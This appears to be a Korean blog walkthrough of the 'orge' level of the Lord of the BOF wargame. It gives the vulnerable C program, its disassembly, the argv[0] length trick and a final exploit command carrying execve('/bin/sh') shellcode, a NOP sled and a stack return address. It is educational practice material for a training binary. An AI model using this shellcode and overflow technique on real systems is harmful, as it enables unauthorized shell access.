scent2d 2019. 3. 14. 14:16

→ 소스코드는 아래와 같다.


1 /*

      2         The Lord of the BOF : The Fellowship of the BOF

      3         - orge

      4         - check argv[0]

      5 */

      6

      7 #include <stdio.h>

      8 #include <stdlib.h>

      9

     10 extern char **environ;

     11

     12 main(int argc, char *argv[])

     13 {

     14         char buffer[40];

     15         int i;

     16

     17         if(argc < 2){

     18                 printf("argv error\n");

     19                 exit(0);

     20         }

     21

     22         // here is changed!

     23         if(strlen(argv[0]) != 77){

     24                 printf("argv[0] error\n");

     25                 exit(0);

     26         }

     27

     28         // egghunter

     29         for(i=0; environ[i]; i++)

     30                 memset(environ[i], 0, strlen(environ[i]));

     31

     32         if(argv[1][47] != '\xbf')

     33         {

     34                 printf("stack is still your friend.\n");

     35                 exit(0);

     36         }

     37

     38         // check the length of argument

     39         if(strlen(argv[1]) > 48){

     40                 printf("argument is too long!\n");

     41                 exit(0);

     42         }

     43

     44         strcpy(buffer, argv[1]);

     45         printf("%s\n", buffer);

     46

     47         // buffer hunter

     48         memset(buffer, 0, 40);

     49 }




→ 어셈블리 코드는 아래와 같다.


0x8048500

0x8048501

0x8048503

0x8048506

0x804850a

0x804850c

0x8048511

0x8048516

0x8048519

0x804851b

0x8048520

0x8048523

0x8048526

0x8048528

0x8048529

0x804852e

0x8048531

0x8048533

0x8048536

0x8048538

0x804853d

0x8048542

0x8048545

0x8048547

0x804854c

0x804854f

0x8048550

0x8048551

0x8048558

0x804855b

0x8048562

0x8048567

0x804856b

0x804856d

0x804856f

0x8048570

0x8048573

0x804857a

0x804857f

0x8048582

0x8048583

0x8048588

0x804858b

0x804858d

0x804858e

0x8048590

0x8048593

0x804859a

0x804859f

0x80485a2

0x80485a3

0x80485a8

0x80485ab

0x80485ae

0x80485b0

0x80485b3

0x80485b6

0x80485b8

0x80485bb

0x80485be

0x80485c0

0x80485c5

0x80485ca

0x80485cd

0x80485cf

0x80485d4

0x80485d7

0x80485da

0x80485dd

0x80485df

0x80485e0

0x80485e5

0x80485e8

0x80485ea

0x80485ed

0x80485ef

0x80485f4

0x80485f9

0x80485fc

0x80485fe

0x8048603

0x8048606

0x8048609

0x804860c

0x804860e

0x804860f

0x8048612

0x8048613

0x8048618

0x804861b

0x804861e

0x804861f

0x8048624

0x8048629

0x804862c

0x804862e

0x8048630

0x8048633

0x8048634

0x8048639

0x804863c

0x804863d

<main>   

<main+1> 

<main+3> 

<main+6> 

<main+10>

<main+12>

<main+17>

<main+22>

<main+25>

<main+27>

<main+32>

<main+35>

<main+38>

<main+40>

<main+41>

<main+46>

<main+49>

<main+51>

<main+54>

<main+56>

<main+61>

<main+66>

<main+69>

<main+71>

<main+76>

<main+79>

<main+80>

<main+81>

<main+88>

<main+91>

<main+98>

<main+103>

<main+107>

<main+109>

<main+111>

<main+112>

<main+115>

<main+122>

<main+127>

<main+130>

<main+131>

<main+136>

<main+139>

<main+141>

<main+142>

<main+144>

<main+147>

<main+154>

<main+159>

<main+162>

<main+163>

<main+168>

<main+171>

<main+174>

<main+176>

<main+179>

<main+182>

<main+184>

<main+187>

<main+190>

<main+192>

<main+197>

<main+202>

<main+205>

<main+207>

<main+212>

<main+215>

<main+218>

<main+221>

<main+223>

<main+224>

<main+229>

<main+232>

<main+234>

<main+237>

<main+239>

<main+244>

<main+249>

<main+252>

<main+254>

<main+259>

<main+262>

<main+265>

<main+268>

<main+270>

<main+271>

<main+274>

<main+275>

<main+280>

<main+283>

<main+286>

<main+287>

<main+292>

<main+297>

<main+300>

<main+302>

<main+304>

<main+307>

<main+308>

<main+313>

<main+316>

<main+317>

push   %ebp                     

mov    %ebp,%esp                

sub    %esp,44                  

cmp    DWORD PTR [%ebp+8],1     

jg     0x8048523 <main+35>      

push   0x8048690                

call   0x8048410 <printf>       

add    %esp,4                   

push   0                        

call   0x8048420 <exit>         

add    %esp,4                   

mov    %eax,DWORD PTR [%ebp+12] 

mov    %edx,DWORD PTR [%eax]    

push   %edx                     

call   0x80483f0 <strlen>       

add    %esp,4                   

mov    %eax,%eax                

cmp    %eax,77                  

je     0x8048550 <main+80>      

push   0x804869c                 

call   0x8048410 <printf>       

add    %esp,4                   

push   0                        

call   0x8048420 <exit>         

add    %esp,4                   

nop                             

nop                             

mov    DWORD PTR [%ebp-44],0x0  

mov    %eax,DWORD PTR [%ebp-44] 

lea    %edx,[%eax*4]            

mov    %eax,%ds:0x80497d4       

cmp    DWORD PTR [%eax+%edx],0  

jne    0x8048570 <main+112>     

jmp    0x80485b0 <main+176>     

nop                              

mov    %eax,DWORD PTR [%ebp-44] 

lea    %edx,[%eax*4]            

mov    %eax,%ds:0x80497d4       

mov    %edx,DWORD PTR [%eax+%edx]

push   %edx                     

call   0x80483f0 <strlen>       

add    %esp,4                   

mov    %eax,%eax                

push   %eax                     

push   0                        

mov    %eax,DWORD PTR [%ebp-44] 

lea    %edx,[%eax*4]            

mov    %eax,%ds:0x80497d4       

mov    %edx,DWORD PTR [%eax+%edx]

push   %edx                      

call   0x8048430 <memset>       

add    %esp,12                  

inc    DWORD PTR [%ebp-44]      

jmp    0x8048558 <main+88>      

mov    %eax,DWORD PTR [%ebp+12] 

add    %eax,4                   

mov    %edx,DWORD PTR [%eax]    

add    %edx,47                  

cmp    BYTE PTR [%edx],0xbf     

je     0x80485d7 <main+215>     

push   0x80486ab                

call   0x8048410 <printf>       

add    %esp,4                   

push   0                        

call   0x8048420 <exit>         

add    %esp,4                   

mov    %eax,DWORD PTR [%ebp+12] 

add    %eax,4                   

mov    %edx,DWORD PTR [%eax]    

push   %edx                     

call   0x80483f0 <strlen>       

add    %esp,4                    

mov    %eax,%eax                

cmp    %eax,48                  

jbe    0x8048606 <main+262>     

push   0x80486c8                

call   0x8048410 <printf>       

add    %esp,4                   

push   0                        

call   0x8048420 <exit>         

add    %esp,4                   

mov    %eax,DWORD PTR [%ebp+12] 

add    %eax,4                   

mov    %edx,DWORD PTR [%eax]    

push   %edx                     

lea    %eax,[%ebp-40]           

push   %eax                      

call   0x8048440 <strcpy>       

add    %esp,8                   

lea    %eax,[%ebp-40]           

push   %eax                     

push   0x80486df                

call   0x8048410 <printf>       

add    %esp,8                   

push   40                       

push   0                        

lea    %eax,[%ebp-40]           

push   %eax                     

call   0x8048430 <memset>       

add    %esp,12                  

leave                           

ret                              




→ 앞선 문제와 바뀐 부분은 22번~26번 코드에 argv[0] 인자 값의 길이가 77바이트가 맞는지 체크하는 로직이 추가되었다. 따라서, argv[0] 인자 값을 강제로 77 바이트로 맞춘 후 기존과 동일한 방법으로 페이로드를 구성하면 된다. 따라서, argv[1]의 주소를 알기 위해 아래와 같은 소스코드를 추가한다.


printf("[%#x]\n",argv[1]); // 추가된 소스 argv[1] 주소값 출력



→ 여기서 주소 값을 알아내기 위한 코드 또한 아래와 같이 77바이트를 맞추어야 한다.





→ 6번 문제와 동일하게 페이로드를 구성한다.




→ 그리고, 공격코드는 77바이트를 맞춰주기 위해 "/"를 추가하여 공격 코드를 작성한다.


$(python -c 'print "."+"/"*72+"orge"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\x83\xfb\xff\xbf"')




→ 결과는 아래와 같다.